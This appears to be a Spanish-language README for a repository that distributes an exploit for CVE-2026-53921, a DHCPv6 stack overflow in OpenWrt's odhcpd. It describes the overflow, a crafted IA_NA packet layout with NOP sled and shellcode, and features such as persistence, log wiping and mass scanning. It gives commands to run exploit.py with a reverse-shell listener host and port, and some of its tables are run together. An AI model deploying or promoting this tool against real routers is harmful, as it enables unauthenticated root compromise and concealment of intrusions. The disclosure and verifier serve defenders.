
CVE-2026-53921 – odhcpd Stack Overflow (CVSS 9.8) 🛡️ Write-Up detallado y completo de la vulnerabilidad, y Verificador y Multi-exploit para RCE en DHCPv6 de OpenWrt. Overflow de doble vector (IA_NA/IA_PD) con shellcode MIPS/ARM, cadenas ROP, proxy SOCKS5, persistencia, borrado de registros y escaneo masivo. Úsalo éticamente, mantente legal. 🔒

⚠️ Solo con fines educativos y pruebas autorizadas. El uso no autorizado es ilegal.
CVE-2026-53921 es un desbordamiento de búfer en la pila crítico en el daemon odhcpd de OpenWrt, el servidor DHCPv6/DHCPv4/RA predeterminado.
La vulnerabilidad se encuentra en el código de manejo de mensajes DHCPv6 de odhcpd, específicamente en las funciones build_ia() y dhcpv6_ia_handle_IAs().
El error ocurre durante la serialización (empaquetado) de los paquetes de respuesta DHCPv6. Cuando odhcpd responde a las solicitudes de los clientes, construye la respuesta en un búfer de pila de tamaño fijo de 512 bytes sin una verificación adecuada de límites.
// Simplified representation of the vulnerable code
static void build_ia(struct dhcpv6_ia *ia, uint8_t *buf, size_t *len) {
// ❌ No bounds check before writing
memcpy(buf + *len, ia->data, ia->length);
*len += ia->length;
}
Un atacante envía una solicitud DHCPv6 Request (o Solicit) con:
Cada opción consume espacio en la pila mientras odhcpd construye su respuesta. Los datos acumulados superan los 512 bytes, lo que provoca el desbordamiento.
Vector Disparador Punto de desbordamiento
Sitio 1 5 opciones IA_NA build_ia() para IA_NA
con direcciones IPv6
build_ia() para IA_PDLa causa raíz es idéntica, pero el desbordamiento ocurre en diferentes rutas de código, lo que hace que ambos vectores sean igualmente explotables.
Stack Layout (simplified):
+-------------------+ <-- High addresses
| Return Address | ← Overwritten with attacker-controlled value
+-------------------+
| Saved Frame Ptr |
+-------------------+
| Local Variables | ← 512-byte buffer
+-------------------+ <-- Low addresses
El atacante sobrescribe la dirección de retorno guardada para que apunte a su shellcode en memoria.
Requisito Descripción
Acceso a la red El atacante debe tener conectividad IPv6 con el objetivo
Autenticación Ninguna -- ataque sin autenticación
Privilegios odhcpd se ejecuta como root, por lo que la RCE
otorga el control total del sistema
En un exploit real, el shellcode del atacante se coloca en los campos de dirección IPv6 de IAAddress (16 bytes por IA_NA). Los paquetes manipulados empaquetan el shellcode, el trineo NOP y la dirección de retorno en estos campos.
Crafted IA_NA Structure:
+-------------------+
| IA_NA Header | (12 bytes)
+-------------------+
| IAAddress 1 | ← NOP sled + shellcode
+-------------------+
| IAAddress 2 | ← NOP sled + shellcode
+-------------------+
| IAAddress 3 | ← NOP sled + shellcode
+-------------------+
| IAAddress 4 | ← Return address
+-------------------+
| IAAddress 5 | ← Return address
+-------------------+
Crafted DHCPv6 Request
↓
odhcpd processes IA_NA/IA_PD options
↓
512-byte stack buffer overflows
↓
Return address overwritten
↓
CPU jumps to shellcode
↓
Reverse shell / Bind shell / RCE
↓
Full system compromise (root privileges)
Versión Estado ¿RCE posible?
odhcpd < e432dd6 Vulnerable ✅ Sí OpenWrt < 24.10.8 Vulnerable ✅ Sí OpenWrt < 25.12.5 Vulnerable ✅ Sí OpenWrt 24.10.8+ Corregido ❌ No OpenWrt 25.12.5+ Corregido ❌ No odhcpd master + e432dd6 Corregido ❌ No
Esta vulnerabilidad es especialmente peligrosa porque:
odhcpd está habilitado por defecto en las instalaciones de OpenWrt.| Componente | Versiones vulnerables | Corregido en |
|---|---|---|
odhcpd (rama master) | antes del commit e432dd6 | e432dd6 o posterior |
| Lanzamientos de OpenWrt | < 24.10.8 < 25.12.5 | 24.10.8 y 25.12.5 |
Este repositorio proporciona dos scripts independientes:
| Script | Propósito | Código de exploit | Seguridad |
|---|---|---|---|
verifier.py | Comprobación de vulnerabilidad no intrusiva | ❌ No | ✅ Seguro |
exploit.py | Exploit totalmente armado | ✅ Sí | ⚠️ Peligroso |
verifier.py – Comprobador de vulnerabilidadesexploit.py – Exploit completoIA_NA (Sitio 1) y IA_PD (Sitio 2).git clone https://github.com/tc4dy/CVE-2026-53921-PoC-Exploit
cd CVE-2026-53921-PoC-Exploit
pip install -r requirements.txt
#Note: Both scripts need root privileges to craft raw IPv6 packets.
sudo python3 verifier.py -u fe80::1%eth0 -i eth0
sudo python3 exploit.py -u fe80::1%eth0 -i eth0 --lhost 192.168.1.100 --lport 4444
verifier.py| Argumento | Descripción |
|---|---|
-u, --target | Dirección IPv6 del objetivo (obligatorio) |
-i, --iface | Interfaz de red (por defecto: eth0) |
exploit.py